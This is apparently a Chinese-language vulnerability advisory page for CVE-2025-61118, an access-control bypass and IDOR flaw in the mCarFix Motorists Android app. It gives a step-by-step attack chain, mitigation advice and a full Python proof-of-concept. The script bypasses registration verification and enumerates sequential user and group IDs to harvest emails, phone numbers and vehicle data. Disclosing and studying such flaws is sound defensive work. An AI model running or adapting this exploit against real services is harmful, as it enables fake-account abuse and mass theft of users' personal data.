IPBUF安全漏洞报告
English
CVE-2025-61118 CVSS 7.5 高危

CVE-2025-61118 mCarFix Motorists App 账户注册绕过与越权访问漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-61118
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
mCarFix Motorists App v2.3 (com.skytop.mcarfix)

相关标签

CVE-2025-61118访问控制绕过IDORmCarFixAndroid应用API安全账户注册绕过数据泄露高危漏洞移动应用安全

漏洞概述

mCarFix Motorists App是由Paniel Mwaura开发的汽车维修应用,版本2.3(包名com.skytop.mcarfix)存在严重的访问控制漏洞。该漏洞允许攻击者绕过身份验证机制进行任意账户注册,并通过篡改顺序数字ID来获取未授权的用户数据和群组信息。攻击者可以利用此漏洞创建虚假账户、窃取用户隐私数据,并可能滥用平台功能进行非法活动。此漏洞无需任何认证即可利用,对用户隐私和数据安全造成严重威胁。CVSS评分7.5,属于高危漏洞,攻击复杂度低,无需特殊权限或用户交互即可实施攻击。

技术细节

该漏洞源于mCarFix Motorists App对用户注册流程和API接口的访问控制机制不完善。具体问题包括:1) 注册接口缺少验证码或人机验证机制,攻击者可通过自动化脚本批量注册虚假账户;2) API端点使用可预测的顺序数字ID作为用户标识符,攻击者通过遍历ID(如1,2,3...)即可访问其他用户的个人资料、车辆信息和维修记录;3) 群组功能API同样存在IDOR(不安全的直接对象引用)问题,攻击者可查看或加入任意群组。攻击者利用Burp Suite等抓包工具拦截注册请求,移除或修改验证参数后重放,即可完成账户注册。随后通过修改请求中的user_id或group_id参数,结合自动化脚本遍历,即可批量获取敏感数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者使用Burp Suite等抓包工具拦截mCarFix应用的正常注册请求流量,分析API端点和请求参数结构
STEP 2
步骤2: 注册验证绕过
攻击者修改注册请求,移除或置空verification_code等验证参数,绕过服务端验证机制,成功注册虚假账户
STEP 3
步骤3: ID遍历探测
攻击者通过自动化脚本遍历用户ID参数(如1-1000),利用API中不安全的直接对象引用(IDOR)访问其他用户数据
STEP 4
步骤4: 数据窃取
成功获取目标用户的个人资料、车辆信息、维修记录、联系方式等敏感数据
STEP 5
步骤5: 群组渗透
攻击者进一步利用群组API的IDOR漏洞,访问未授权的群组信息,查看群组成员列表
STEP 6
步骤6: 恶意利用
攻击者利用窃取的账户和数据实施进一步攻击,如身份冒充、钓鱼欺诈或数据出售

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61118 PoC - mCarFix Motorists App Access Control Bypass # Author: Security Researcher # Description: Exploits improper access control in mCarFix Motorists App v2.3 import requests import json TARGET_HOST = "http://target-app.com" # Replace with actual target def exploit_registration_bypass(): """ Step 1: Bypass registration verification to create arbitrary accounts """ print("[+] Step 1: Exploiting registration bypass...") # Original registration request (intercepted) registration_endpoint = f"{TARGET_HOST}/api/v1/user/register" # Payload to bypass verification payload = { "username": "attacker_account", "email": "[email protected]", "password": "Password123!", "verification_code": "", # Bypass by removing/emptying verification "phone": "+1234567890" } headers = { "Content-Type": "application/json", "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11)" } try: response = requests.post(registration_endpoint, json=payload, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Account created successfully: {data}") return data.get("user_id") else: print(f"[-] Registration failed: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None def exploit_idor_access(start_id, end_id): """ Step 2: Exploit IDOR by tampering sequential numeric IDs to access user data """ print(f"[+] Step 2: Exploiting IDOR vulnerability (ID range: {start_id}-{end_id})...") user_data_endpoint = f"{TARGET_HOST}/api/v1/user/profile" for user_id in range(start_id, end_id + 1): try: # Tamper with user_id parameter params = {"user_id": user_id} response = requests.get(user_data_endpoint, params=params) if response.status_code == 200: data = response.json() print(f"[+] Found user data - ID {user_id}: {json.dumps(data, indent=2)}") # Extract sensitive information if "email" in data: print(f" Email: {data['email']}") if "phone" in data: print(f" Phone: {data['phone']}") if "vehicle_info" in data: print(f" Vehicle: {data['vehicle_info']}") except Exception as e: print(f"[-] Error accessing ID {user_id}: {e}") def exploit_group_access(): """ Step 3: Access unauthorized group data via IDOR """ print("[+] Step 3: Exploiting group IDOR vulnerability...") group_endpoint = f"{TARGET_HOST}/api/v1/group/info" for group_id in range(1, 100): try: params = {"group_id": group_id} response = requests.get(group_endpoint, params=params) if response.status_code == 200: data = response.json() print(f"[+] Found group - ID {group_id}: {data.get('name', 'Unknown')}") print(f" Members: {data.get('member_count', 0)}") except Exception as e: continue if __name__ == "__main__": print("="*60) print("CVE-2025-61118 PoC - mCarFix Motorists App Exploitation") print("="*60) # Execute attack chain user_id = exploit_registration_bypass() if user_id: # Access other users' data exploit_idor_access(1, 50) # Access group information exploit_group_access() print("\n[!] PoC execution completed. Target may be compromised.")

影响范围

mCarFix Motorists App v2.3 (com.skytop.mcarfix)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 暂时关闭应用的注册功能,防止攻击者创建虚假账户;2) 限制API接口的访问频率,添加IP黑名单机制阻断自动化攻击;3) 启用应用层防火墙(WAF)监控异常请求模式;4) 通知现有用户注意账户安全,警惕可疑活动;5) 监控日志中的异常访问行为,及时发现和阻止攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表